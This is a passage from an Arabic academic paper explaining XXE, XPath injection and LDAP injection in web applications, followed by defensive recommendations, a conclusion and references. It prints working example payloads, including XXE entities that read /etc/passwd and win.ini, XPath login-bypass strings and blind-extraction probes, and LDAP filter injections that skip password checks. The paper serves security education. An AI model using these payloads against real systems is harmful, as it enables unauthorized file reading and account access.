٩-١-ثغرات XXE :

XXE هي اختصار للكلمات XML External Entity ، وهي عبارة عن هجوم يستهدف البرامج التي تعمل على أسلوب إدخال البيانات عن طريق XML، ويمكن استخدامها لحقن الاكواد من النوع RCE(remote code execution) أو هجمات الحرمان من الخدمة (DDos) ، وأيضا فحص البورتات أو المنافذ و إدراج الملفات المحليةLFI [3][8] [14] [19].

تدعم مكتبات تحليل XML استخدام مرجع الكيان في XML، وهو عنصر يسمى entity بهدف إحضار المحتوى أو البيانات من وحدات تخزينية أخرى قد تكون داخل

المخدم أو خارجه ويتم إضافتها للمستند، ويُعتبر كمتغير في البرمجة حيث يتم تعرفيه في أول النص، ويُمكن تعريفه كنص، رابط خارجي، ملف، كود، الخ... ، فاستخدام مرجع الكيان في XML يوفر للمهاجم فرصة للوصول غير المصرح به إلى الملفات الموجودة على الجهاز المحلي، ومسح الأجهزة عن بعد، وضخ البيانات الضارة، وتنفيذ رفض الخدمة على الأنظمة البعيدة، ويسمح XML بتعريف مراجع الكيان المخصصة في وثيقة XML داخل عنصر DOCTYPE الاختياري أعلى المستند، ويُمكن تعريف كيانات XML الخارجية (XML External Entity) باستخدام مراجع خارجية تقوم ببناء المستند ديناميكياً في وقت المعالجة وبالتالي يمكن أن يقوم محلل XML (XML Parser) باستخراج البيانات ديناميكياً من الموارد الخارجية، ويُمكن لمحلل XML الوصول إلى عناوين URL أو موارد الويب الخارجية على نظام الملفات المحلي بواسطة الكيانات الخارجية في تنسيق عنوان URL ، ويتم تحديد مرجع للكيان الخارجي مع الكلمة الأساسية SYSTEM ، وتعريفه هو عنوان URL قد يستخدم بروتوكول file أو بروتوكول http [8] [14] [19] [20] [25]وهذه الثغرة تُعتبر ثغرة خطيرة جداً، وولتوضيح كيفية استغلالها من قبل المهاجم سنأخذ الأمثلة التالية، بفرض لدينا بيانات مدخلة من خلال XML كمايلي:

```
<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<!DOCTYPE foo [   <!ELEMENT foo ANY >
<!ENTITY isecurty1 “XXE TEST ” >]>
<foo>&isecurty1;</foo>
```

نلاحظ الآن عدة عناصر في الصفحة ففي السطر الأول نلاحظ تعريف لوثيقة XML، والعنصر المهم هو عنصر الـENTITY وفي حالتنا اسمه isecurty1 وهو المتغير، وقد تم استدعاء الـENTITY في الوثيقة بوضع الرمز (&) في أوله والفاصلة المنقوطة (;) في آخره بوصفه متغير ENTITY فلو عرضنا الوثيقة الآن لوجدنا:

```
<foo> XXE TEST </foo>
```

نلاحظ من خلال الخرج السابق انه تم استدعاء المتغير وكان المتغير هو &isecurty1; في منتصف الوسم <foo> وتم تعريف قيمته في الخانة XXE TEST كمايلي:

```
<!ENTITY isecurty1 "XXE TEST" >]>
```

نلاحظ من الوسم السابق انه تم تعريف متغير isecurty1 وإعطائه القيمة XXE TEST فقط ولكن كيف يتم الاستفادة من ذلك من قبل المهاجم والجواب بوضع أمر SYSTEM قبل قيمة المتغير وبذلك سوف يقرأها محلل XML كأمر سحب أو إدراج للملف الموجود في القيمة[3][8][19].

الآن لو وضعنا الأمر SYSTEM ووضعنا رابط الموقع كمايلي مثلاً:

```
<?xml version="1.0″ encoding="ISO-8859-1″?>

<!DOCTYPE foo [  <!ELEMENT foo ANY >

<!ENTITY isecurty1 SYSTEM "http://www.nameofwebsite//
XXE.html " >]>
<foo>&isecurty1;</foo>
```

حينئذٍ عندما سيتم إرسال هذه البيانات، سوف يقوم المخدم بإرسال طلب إلى الموقع المذكور ويطلب الملف XXE.html ، ويمكن أن نسجله في السجلات الـ LOG[3][8] [14] [19] ، الآن لو أراد المخترق أو المهاجم سحب ملف etc/passwd في المخدم كل ما عليه القيام به هو طلبه عن طريق الكود التالي[14]:

```
<?xml version="1.0″ encoding="ISO-8859-1″?>
<!DOCTYPE foo [  <!ELEMENT foo ANY >
<!ENTITY isecurty1 SYSTEM "file://etc/passwd " >]>
<foo>&isecurty1;</foo>
```

سوف يرد السيرفر بجلب ملف الـetc/ passwd ويعرضه على شكل نص، وبالمثل يمكن الطلب من محلل XML تنفيذ أي أمر أو جلب أي ملف يريده المهاجم، فمثلا الكود التالي يقوم فيه محلل XML بجلب محتوى c:\winnt\win.ini ووضعه في مكان مرجعية الكيان المحدد &foo المستخدمة داخل العنصر <in> [19][25] كمايلي:

```
<?XML version ="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "file:///c:/winnt/win.ini">
]>
<in>&foo;</in>
```

والكود التالي يقوم فيه محلل XML بجلب محتوى file:/id/users ووضعه في مكان مرجعية الكيان المحدد &users المستخدمة داخل العنصر <users>:

```
<?xml VERSION = "1.0" standalone="no”?>
<!DOCTYPE users [
<!ENTITY users SYSTEM "file:/id/users"> ]>
<users>&users;</users>
```

إذا تمت معالجة الكود السابق بواسطة تطبيق ويب، فسيتم تمديد عنصر "المستخدمين" للإشارة إلى محتويات "الهوية / المستخدمين "، ويمكن للمهاجمين تحميل الملف أو الموارد الخارجية لتطبيق الويب، ويجبر محلل XML بإحضار الملف المحدد من النظام واستخدامه كمرجع كيان محدد، ويمكن للمهاجم الحصول على امتياز لاستهلاك الموارد ويمكن حتى الحصول على تنفيذ التعليمات البرمجية عن بعد ورفض الخدمة.

١٠ -ثغرات حقن XPath (XPath injection):

XPath هي لغة استعلامات تحدد جزءاً من مستند XML ، فهي تستخدم تعبير المسار للتنقل من عقدة إلى عقدة أخرى ضمن مستند XML [16]، وتتمثل إحدى مهام XPath في استرداد المعلومات مباشرة من XML أو بالاقتران مع تحويل XQuery أو XSLT، لذلك في حالة عدم وجود تنقية أو تصفية مناسبة لمدخلات المستخدم، يمكن للمهاجمين إدخال شفرة عشوائية (استعلام) في XPath والتي يتم تخزينها في مستند XML وتتداخل مع التطبيق، وقد يوفر الهجوم الناجح امتيازاً لاسترداد البيانات غير المصرح بها والتعامل مع الاستجابة للعميل [16] [17] [18]، فعلى سبيل المثال إذا كان لدينا الكود التالي:

```
<?xml version="1.0" encoding=”UTF-8""?>
<Employees>
<identity>
<name>person</name>
<password>password1</password>
<email>someone@gmail.com</email>
</identity>
</Employees>
```

الكود السابق هو مستند XML صغير لتخزين معلومات المستخدم، فأي تحقق خاطئ من مدخلات المستخدم يُمكّن أو يؤدي بسهولة إلى توفير معلومات من قاعدة البيانات، فلاستعادة البريد الإلكتروني للمستخدم يتم استخدام الاستعلام التالي المكتوب بـ.XPath

```
//identity/email/text()
```

يشبه حقن XPath تقريباً حقن SQL حيث يتم استهداف الهجوم بقاعدة بيانات XML بدلاً من قاعدة بياناتSQL ، ولكن تكون أسماء العناصر والكلمات الرئيسية في استعلامات XPath حساسة لحالة الأحرف، ومع ذلك فإنه لا يحتاج إلى علامات اقتباس (") لإدراج قيمة رقمية، وهناك طريقتان لحقن XPath [16][17][25]، كما هو موضح أدناه.

١٠-١- Informed XPath injection:

يُعتبر هذا النوع من الحقن طريقة لإجبار التطبيق على الاستجابة بأساليب أو طرق مختلفة كما هو الحال في حقن SQL ، فمثلاً إذا كان لدينا الكود التالي الذي يمثل إحدى أساليب حقن xpath لتجاوز الوثوقية:

```
string(//user[name/text()= ‘’ and password/text()=’’]/identity())
```

إذا لم يقم تطبيق الويب بتعقيم الإدخال بشكل صحيح، فسوف يقوم الاستعلام أعلاه بإرجاع اسم المستخدم وكلمة المرور الخاصة بالمستخدمين، وقائمة البيانات المذكورة أعلاه هي XPath التي يتشكل منها التطبيق بعد قيام المستخدمين بإدخال البيانات التالية:

```
' or 1=1 and 'a'='a
' or 1=2 and 'a' = 'a
```

يمكن إدراج ماسبق بدلاً من كلمة المرور أو اسم المستخدم للتحقق من الاختلاف في سلوك التطبيق، ويقبل التطبيق إدخال المستخدم ونماذج XPath للانتقال إلى قاعدة البيانات في تطبيق الويب، حيث تكون مصادقة المستخدمين مطلوبة في صفحات تسجيل الدخول.

```
string(//user[name/text()=' ' or 1=1 or ' '= ' '
and password/text()=' ']/identity/text())
```

يقوم اسم المستخدم الذي تم إدخاله بتغيير الاستعلام وإرجاع اسم الهوية الأول من أرشيف XMLوبعد هجوم ناجح ، سيوفر التطبيق امتيازات الوصول الإداري لقاعدة بيانات XML

، كذلك يمكن تمديد الهجوم إلى معلومات أكثر خطورة حسب نية المهاجمين [16] [17] [18] [25]

١٠-٢-٢ Blind XPath injection:

يُعد حقن XPath الأعمى طريقة لإدخال أو حقن استعلامات XPath بدون معرفة مسبقة باستعلامات XML مثل العنوان والحقول المستهدفة، بمعنى آخر، إذا كان التطبيق عرضة لحقن XPath أعمى، لن يحتاج المهاجم إلى معرفة كاملة بـXPath ، فهو يستخدم الاستعلامات المنطقية لاستخراج معلومات مستند XML، وتشتمل استعلامات XPathعلى وظائف (functions) للاستعلام عن معلومات التعريف وتتبع العقدة الحالية في مستند XML والتي يمكن استخدامها للتنقل في العنصر المحدد والعقدة الرئيسية أو التابعة، ويستخدم حقن XPath الأعمى إجراء Booleanization (Booleanization procedure) الذي تكون نتيجته إما صحيحة أو خاطئة، فعند إدراج الاستعلام المنطقي في استعلام XPath ، سيستجيب التطبيق بطريقة واحدة إذا كانت النتيجة تساوي TRUE ومختلفة إذا كانتFALSE ، وهذا الاختلاف في قيم استعلامات XPath الذي تم إعادته أو إرجاعه، سيساعد المهاجمين لإنشاء الاستعلام الذي يقوم بإرجاع بت واحد من المعلومات [16] [17] [25]، وهناك طريقتين لحقن XPath الأعمى (Blind XPath injection) يتم وصفها أدناه.

١٠-٢-١-XPath Crawling:

تعد عملية الحقن الزاحف XPath (XPath Crawling) طريقة تسمح بمرور تعابير XPath (expressions) من خلال مستند XML باستخدام استعلامات عددية مثل count() و name() و Uri() ، وتعرض قيمة منطقية أو عددا أو سلاسل، ومع عملية الحقن الزائف XPath يمكن إنشاء مستند XML كامل بدون أي معرفة مسبقة عن بنية المستند، والأمثلة التالية توضح ذلك.

```
count(path/child::node())
name(path/attribute::*)
or
count(path/attribute::*[position()=N])
namespaces -uri(path/attribute::*[position()=N])
```

يبدأ الحقن الزاحف XPath (XPath Crawling) بالمسار (path)، ويحسب عدد العقد لمسار معين (count)، ثم namespaces - uri تعطي قيمة عدد فضاءات الأسماء (Nth namespaces)، والتعليمات السابقة ستقوم بحساب جميع العقد في المسار المحدد "n" ، وبالتالي يمكن بناء مستند XML بدون معرفة مسبقة [16].

١٠-٢-٢- Booleanization of XPath scalar query:

المنطقية من استعلام XPath العددي (Booleanization of XPath scalar query) هي العملية التي يتم فيها استبدال الاستعلامات العددية (القياسية) لـ XPath (XPath scalar queries) بالقيمة المنطقية (TRUE / FALSE)، وذلك من خلال استبدال سلسلة محرفية أو رقم تم إنشاؤه من الحقن الزاحف XML (XML crawling) مع قيمة منطقية، ويمكن إنشاء استعلام XPath وتنفيذه في حقن XPath الأعمى (Blind XPath injection)، ويعيد تعبير XPath المستخدم مع الدوال مثل string.length() و substring() القيمة المنطقية إذا كانت مكررة عبر نطاق معين [16].

لا تتطلب المنطقية من استعلامات XPath العددية (القياسية) (Booleanization of XPath scalar query) معلومات مستند XML التي تم إرجاعها كمخرجات، ولكن تتطلب تسلسل استعلامات XPath المنطقية السلسلة المحرفية أو القيمة الرقمية التي تم الحصول عليها من XML لإنشاء استعلامات XPath من أجل الحقن، وتقوم عملية المنطقية (Booleanization) بالاستعلام عن طول السلسلة باستخدام XPath (string-length ()) ثم تحويلها إلى استعلام بايت واحد باستخدام وظيفة (sub-string ()) ثم يتم تقليل استعلام بايت واحد إلى استعلام Boolean الذي يوفر قيمة 1 إذا كانت صحيحة و 0 إذا كانت خاطئة.

‘ or substring(name(parent::*[position()=1]),1,1)= ‘a

إذا كان الإدراج السابق صحيحاً ، فسيتم عرض النتيجة، و تساعد هذه التقنية على تحديد قيم وأسماء جميع العقد المضمنة في وثيقة XML دون معرفة تركيبتها [16].

١١-ثغرات حقنLDAP (LDAP injection):

بروتوكول LDAP أو ما يسمى Lightweight Directory Access Protocol هو أحد بروتوكولات الشبكات والذي يستخدم بشكل رئيسي في عملية التحقق من هوية المستخدم بالإضافة إلى صلاحياته التي يمتلكها وطريقة الوصول إلى أي خدمات داخل الشبكة مثل الطابعات والملفات المشتركة وغيرها، فهو بروتوكول للحقن وخدمات الدليل التي تعمل عبر TCP / IP ، ويُعتبر Microsoft Active Directory (ADAM) و Apache Directory Server و Red Hat Directory Server و OpenLDAP و Novell eDirectory من الخدمات أو الخوادم التي تتعامل مع هذا البروتوكول، و تكون تطبيقات البرامج هذه موجهة للكائن وتخزن وتنظم إدخالات الدليل للإبلاغ عن الشجرة، والتي تتوافق مع القواعد المخصصة لسمات ذلك الكائن وتوفر خدمة البحث والتصفح الذكية [21] [25].

لو افترضنا مثلا وجود مؤسسة تحتوي داخلها على عدد من الأقسام والدوائر مثل (المحاسبة، البرمجة، المخازن، ..... وغيرها)، فمن الطبيعي أن يكون لكل قسم أو دائرة من هذه الأقسام والدوائر صلاحيات خاصة به ممكن أن تتشارك بعضها أو جميعها مع باقي الدوائر والأقسام، فمثلاً لو أردنا إعطاء صلاحية الوصول للطابعات داخل المؤسسة إلى قسم ما من هذه الأقسام فيمكننا إعطاء موظفي هذا القسم هذه الصلاحية دونما غيرهم من موظفي باقي الأقسام وهكذا، وهذا الحال ينطبق أيضا على المجلدات المشتركة (Shared Folders) بحيث يكون لكل قسم مجلداته الخاصة به وهكذا.

LDAPs هي العمليات الرئيسية التي يتم تشغيلها في العديد من المؤسسات والشركات، وتستند خدمات الدليل على بروتوكول LDAP، وتحتاج الأدلة المختلفة السابقة إلى نطاقات مختلفة (different domains)، ولكن أدلة خدمات LDAP متعددة الأغراض أو مركزية تسمح ببيئات الدخول الموحد[9] [21].

تُعد الخدمات المستندة إلى LDAP مسؤولة عن التحكم في الوصول والحد من الامتيازات ومعالجة الموارد نظراً لهذه المزايا، فقد قلل LDAP من تعقيد الإدارة وتحسين الأمان، وهذا هو السبب في أن المهاجمين يستخدمون هذه التقنية لضبط محفوظات المعلومات المركزية، وحقن LDAP هو نفس حقن SQL التي تستفيد من التعقيم غير السليم للوسيط (parameter) المقدم من قبل العملاء[9][21].

LDAP هو جسر بين نموذج العميل والخادم، المستخدم يوفر المدخلات ويتم إرسال الاستعلامات إلى الخادم باستخدام عوامل التصفية ويستجيب الخادم لمدخلات الدليل التي تطابق الفلاتر[9][21] [25].

يعرض التطبيق جميع السجلات المتاحة المتعلقة بتسجيل الدخول للمهاجمين في حالة تنفيذ التطبيق لاستعلام LDAP في الخادم المدعوم، وإذا لم يتم التحقق من صحة المدخلات بشكل صحيح، يمكن للمهاجمين تغيير الاستعلام الديناميكي عن طريق إدخال أحرف خاصة مثل * ، & ، | والحصول على الوصول غير المصرح به، وعند اجراء عملية الاتصال بين الخادم والعميل، يستفيد المهاجمون من عملية الاتصال هذه وإدراج استعلامات ضارة مع الاستعلامات العادية، ويعرض الخادم النتائج مع معلومات إضافية، وقد تكون المعلومات الإضافية المعروضة بيانات حساسة لا يُفترض أن يقرأها العملاء [9][21] [25].

يتم إنشاء استعلام LDAP باستخدام بارامترات إدخال المستخدم (user input parameters)، ويجب في تطبيقات الويب الحديثة تصفية بارامتر أو وسيط إدخال المستخدم الذي يحد من إمكانات الحقن، ولكن في البيئة الضعيفة يستخدم المهاجم هذه البارامترات غير المفلترة لإنشاء استعلام LDAP الخبيث وإرساله إلى الخادم، ويوضح المثال التالي مدى عدم تعقيم معلمات أو بارامترات إدخال المستخدم.

"value (injected_filter)"
This query is executed as:
(&(attribute=value)(injected_filter))(second_filter))
|(attribute=value)(injected_filter))(second_filter))

إذا لم يتم تحديد بناء الجملة، فسوف يقوم OpenLDAP و ADAM بمعالجة وتجاهل أي فلتر بعد أولهما، وبالتالي يصبح الحقن ممكناً، وكل من هذه العوامل المنطقية لها ميزات مختلفة[9][21] [25].

١١-١- AND LDAP injection:

يبحث التطبيق عن دليل LDAP باستخدام عامل التشغيل "&" ومع وسطاء أو بارامترات إدخال المستخدم، ويكون مرشح البحث LDAP الذي يعالج التطبيق على النحو التالي:

"(&(parameter1 = value1)(parameter2=value2))"

يمكن أن يكون الوسيط أو البارامتر اسم المستخدم وكلمة المرور، فإذا أدخل المستخدم اسم مستخدم صالحاً واستخدم عامل التشغيل "&" لتجاوز التحقق من كلمة المرور، فحينها حتى بدون كلمة مرور يمكن للمهاجم الدخول إليها، والمثال التالي يوضح ذلك

"(&(USER =USER1)(&)(PASSWORD=Password1))"

إذا كان USER1 هو اسم مستخدم صالح، فسيقوم خادم LDAP بمعالجة الفلتر الأول لأنه صحيح دائماً، ولكن يتجاهل بقية الفلتر الثاني[9][21] [25].

١١-٢- OR LDAP injection:

في حقن OR LDAP ، يتم تشغيل عامل التشغيل المنطقي "OR" لاستكشاف دليل LDAP باستخدام الوسيط أو البارامتر المتعدد الذي أدخله المستخدمون، والاستعلام المستخدم في هذه الحالة هو كما يلي:

"(|(parameter1=value1)(parameter2=value2))"

يمكن أن تكون المعلمة أو البارامتر أي عنصر متاح في النظام، ويشمل كل ما يأتي ضمن المعلمة المختارة، فمثلاً إذا اختار المهاجم العثور على الموارد المتاحة في النظام، فسيصبح الاستعلام على النحو التالي:

(Rsc1=printer)(uid=*)
Server executes as:
"(|(type=printer)(uid=*))(type=scanner))"

ستعرض النتيجة جميع أنواع الطابعات والكائنات الأخرى المتوفرة في النظام[9][21] [25] .

١٢-نتائج وتوصيات البحث Research results and recommendations:

- ✓ لا يوجد أمن كامل في أي نظام معلوماتي أو تطبيق برمجي أو موقع إلكتروني.
- ✓ يتناسب الأمن عكسياً مع تعقيد النظام المعلوماتي الذي يتم بناؤه.
- ✓ يتناسب الأمن عكسياً مع سهولة إستخدام النظام المعلوماتي.
- ✓ الإحساس الخاطئ بالأمن أخطر من الإحساس الصحيح بعدم الأمن.
- ✓ الأمن كالسلسلة، تقاس قوتها بقوة أضعف حلقة فيها.
- ✓ هذا النوع من الثغرات الأمنية يُعتبر من الثغرات الخطيرة وذلك لأن المخترق يستطيع من خلاله رفع ملفات خبيثة أو نصوص مرفقة إلى المخدم للسيطرة الكاملة عليه وسرقة المعلومات الحساسة الموجودة ضمنه.

- ✓ إن عملية بناء ما يسمى بالقائمة البيضاء لإستخدامها لمقارنة المدخلات والتحقق منها تُعتبر من الأمور المهمة التي يجب أخذها بعين الإعتبار من قبل المبرمج أو مطور النظام.
- ✓ التأكد من المدخلات مرتين مرة في جهاز العميل ومرة في جهاز الخادم تُعتبر من الأمور الهامة التي يجب تطبيقها دائماً لتحقيق أعلى مستوى من الأمان والوثوقية.
- ✓ إستخدام المتغيرات العامة يُعتبر أحد الأسباب الهامة التي تؤدي إلى وجود ثغرات الحقن.
- ✓ العمل على إغلاق السجلات العامة الموجودة في الملف phph.ini لتفادي عملية التعرض لهذا الخطأ البرمجي (الثغرة) يُعتبر من الإجراءات الهامة.
- ✓ يمكن للتطبيق الحصول على الحد الأقصى من الأمان باستخدام منهج ترميز أفضل ومعرفة المطور بأمان الويب من وجهة نظر الأمن.
- ✓ يجب تحديث التطبيق أو النظام المعلوماتي بانتظام بحيث لا يمكن أن يكون هدفاً سهلاً لهجمات الويب الجديدة أو الهجمات الحالية.
- ✓ أمان التطبيق ليس مسؤولية المطور تماماً ولا ينبغي أبداً تجاهل دور المستخدم في أمان التطبيق.
- ✓ يجب أن يكون لدى مستخدمي التطبيق مستوى معين من الوعي، بحيث لا يستطيع المهاجمون أو المتلصصون الاستفادة من إهمالهم.
- ✓ على الرغم من أن التطبيق أو النظام المعلوماتي يوفر أعلى مستوى من الأمان، يجب على المستخدمين التأكد من أنهم يستخدمون التطبيق في بيئة آمنة مثل متصفح الويب الآمن والشبكة.
- ✓ هناك العديد من أجهزة فحص تطبيقات الويب والتدابير الوقائية للكشف عن ثغرات الأمان في التطبيقات وحمايتها من الهجمات.
- ✓ يجب على المطورين منح امتيازات محجوزة للمستخدمين والحفاظ على التحقق من المدخلات بشكل صارم لأن معظم عمليات الحقن تنجح بسبب ترشيح غير مناسب لإدخال المستخدم.

- ✓ يجب على المستخدمين أن يكونوا على دراية بالتدابير الأمنية مثل الحفاظ على تحديث التطبيقات الخاصة بهم، حول ملفات تعريف الارتباط الجيدة والسيئة، والتنصت والتفكير قبل النقر.

١٣ -الخاتمة Conclusion:

في هذا البحث قمت بتسليط الضوء على أهمية أمن الأنظمة المعلوماتية التي تعمل على الويب، وإظهار نقاط الضعف فيها، والتعرض للتقنيات التي يعتمدها المهاجمون لحقن الاكواد البرمجية الخبيثة في التطبيقات، حيث بينت أن هناك العديد من تقنيات حقن الكود التي يمكنها التحكم في البيانات، والحصول على معلومات مهمة من قاعدة البيانات، والسبب في رفض الخدمة واستيراد وتصدير الملفات من النظام.

وبما أن الأمن هو أكثر القضايا أهمية في عالمنا اليوم، فقد ذكرت في هذا البحث حقن SQL وحقن XPath وحقن XML وحقن shell وحقن تضمين الملف وحقن LDAP وطرق الهجوم، وعلى الرغم من المعرفة بمثل هذه الهجمات وإجراءاتها الوقائية، فإن المشكلة مع الأمن هي أن تطوير آليات الدفاع يمكن أن يتفادى بعض التهديدات، ولكن بالمقابل تتطور أساليب الهجوم القوية أيضاً.

يمكن اعتبار هذا البحث بمثابة تنبيه الهدف منه توعية المطورين الجدد والطلاب ليكونوا على دراية بنقاط الضعف في تطبيقات الويب والانظمة المعلوماتية التي يستخدمها المهاجمون لضخ شفرة ما، كما ينبه هذا البحث المطورين إلى منح امتيازات محجوزة للمستخدمين والحفاظ على التحقق من المدخلات بشكل صارم لأن معظم عمليات الحقن تنجح بسبب ترشيح غير مناسب لإدخال المستخدم.

هناك أيضاً العديد من أجهزة مسح وفحص تطبيقات الويب والتدابير الوقائية للكشف عن ثغرات الأمان في التطبيقات وحمايتها من الهجمات، وماسحات نقاط الضعف في تطبيقات الويب أو الأنظمة المعلوماتية التي تعمل عليها هي أدوات آلية تقوم بمسح هذه التطبيقات عادةً من الخارج، للبحث عن ثغرات أمنية مثل حقن SQL ، حقن الأوامر وغيرها وتهيئة الخادم غير الآمن، وتتم عادةً الإشارة إلى هذه الفئة من الأدوات كأدوات اختبار أمان التطبيقات الديناميكية (DAST)، حيث يتوفر عدد كبير من الأدوات

التجارية والمفتوحة المصدر من هذا النوع وكل هذه الأدوات لها نقاط القوة والضعف الخاصة بها، ومن أشهر هذه الأدوات لدينا:

Websecurify Suite،Xenotix XSS Exploit Framework ،Zed Attack Proxy ،Vega ،Nikto،App Scanner ،Wapiti،WebApp360،Wikto

١٤ - المراجع References:

[1] AHMED M, 2017- Explotation Blind Boolean Based [SQL Injection], [Available online]. Retrieved /November 09, 2017 from https://null-byte.wonderhowto.com/forum/explotation-blind-boolean-based-sql-injection-by-mohamed-ahmed-0179938/.

[2] ANLEY C, 2015 (2002) - Advanced SQL injection in SQL server Applications. An NGS Software Insight Security Research (NISR) Publications, 25 pages.

[3] ARNABOLDI F, 2016- Assessing and Exploiting XML Schema's Vulnerabilities. IOActive, Inc, WHITE PAPER, 36 pages.

[4] ATWOOD J, 2009- Top 25 Most Dangerous Programming Mistakes, [Available online]. Retrieved January 12, 2009 from http://www.codinghorror.com/blog/2009/01/top-25-most-dangerous-programming-mistakes.html.

[5] BEAVER K, 2004- Hacking For Dummies. Wiley Publishing, Inc, Indianapolis, Indiana, 387 Pages.

[6] BEAVER K, 2007- Hacking For Dummies. Wiley Publishing, Inc, 2nd ed, Indianapolis, Indiana, 411 Pages.

[7] BEAVER K, 2010- Hacking For Dummies. Wiley Publishing, Inc, 3nd ed, Indianapolis, Indiana, 411 Pages.

[8] BHINDE P, MIRANI R, 2017- A PRACTICAL GUIDE TO XXE ATTACK WEB APPLICATION SECURITY. SynRadar, West Mumbai, 12 pages.

[9] CANNINGS R, DWIVEDI H, LACKEY Z, 2008- HACKING EXPOSED™ WEB 2.0: WEB 2.0 SECURITY SECRETS AND SOLUTIONS. The McGraw-Hill Companies, United States of America, 290 pages.

[10] CHRISTEY S, 2011- CWE/SANS Top 25 Most Dangerous Software Errors, [Available online]. Retrieved September 13, 2011 from http://www.computerweekly.com/Articles/2010/02/17/240327/top-25-coding-errors-are-your-software-suppliers-secure.htm.

[11] Clarke J, 2012- SQL Injection Attacks and Defense. Elsevier, Inc, 2nd ed, United States of America, 761pages.

[12] HARPER A, HARRIS S, NESS J, EAGLE C, LENKEY G, WILLIAMS T, 2011- Gray Hat Hacking The Ethical Hacker's Handbook. The McGraw- Hill Companies , 3nd ed, United States of America, 721 pages.

PDF-XChange
Click to buy NOW!
www.tracker-software.com

[13] HARRIS S, HARPER A, EAGLE C, NESS J, 2008- Gray Hat Hacking: The Ethical Hacker's Handbook. Bruce .Potter, Founder, The Shmoo Group, 2nd ed, United States, 577 pages.

[14] HOGUE R, 2015- A Guide to XML eXternal Entity Processing. Tufts University, Mentor: Ming Chow, 10 pages.

[15] KILARU D, 2017- IMPROVING TECHNIQUES FOR SQL INJECTION DEFENSES. Faculty of the Colorado Springs, Department of Computer Science, University of Colorado, Master's Projects, 74 pages.

[16] KLEIN A, 2005- BLIND XPATH INJECTION. Watchfire Corporation, A whitepaper from Watchfire, 13 pages.

[17] LAKHANI J, 2013- Blind XPath Injection Attack: A Case Study. University of Maharaja Ganga Singh, Bikaner, Rajasthan, India, 6 pages. http://www.publishingindia.com

[18] MIGUEL L, 2016- Detection of Vulnerabilities and Automatic Protection for Web Applications. Faculty of science, Department of informatics, University of LISBOA, PHD's Projects, 221 pages.

[19] MORGAN T, 2013- What You Didn't Know About XML External Entities Attacks. OWASP FOUNDATION PRESENTS, APPESC USA, 39 pages.

[20] ROBERTS C, 2013- A Hands-on XML External Entity Vulnerability Training Module. SANS Institute InfoSec Reading Room, Advisor: Rich Graves, 24 pages.

[21] SCAMBRAY J, LIU V, SIMA C, 2011- HACKING EXPOSED™ WEB APPLICATIONS: WEB APPLICATION SECURITY SECRETS AND SOLUTIONS. Joel Scambray, 3nd ed, United States, 481 pages.

[22] RUBENS P, 2016- Database Security Best Practices , [Available online]. Retrieved August 23, 2016 from https://www.esecurityplanet.com/network-security/6-database-security-best-practices.html.

[23] SQL injection tutorial, [Available online]. Retrieved December 2, 2015 from https://www.diva-poral.org/samsh/ge/dive2:630946/FULLTEXT01.pdf.

[24] STUTTARD D, PINTO M, 2008- The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws. Wiley Publishing, Inc, United States of America, 771pages.

[25] STUTTARD D, PINTO M, 2011- The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws. Wiley Publishing, Inc, 2nd ed, Indianapolis, Indiana, 914 pages.

[26] The SANS™ Institute, 2011- What Errors Are Included in the Top 25 Software Errors? Version 3.0 , [Available online]. Retrieved June 27, 2011 from http://www.sans.org/top25-software-errors/#cat1

[27] W3resource, 2014- SQL Injection tutorial , [Available online]. Retrieved February 27, 2014 from http://www.w3resource.com/sql/sql-injection/sql-injection.php.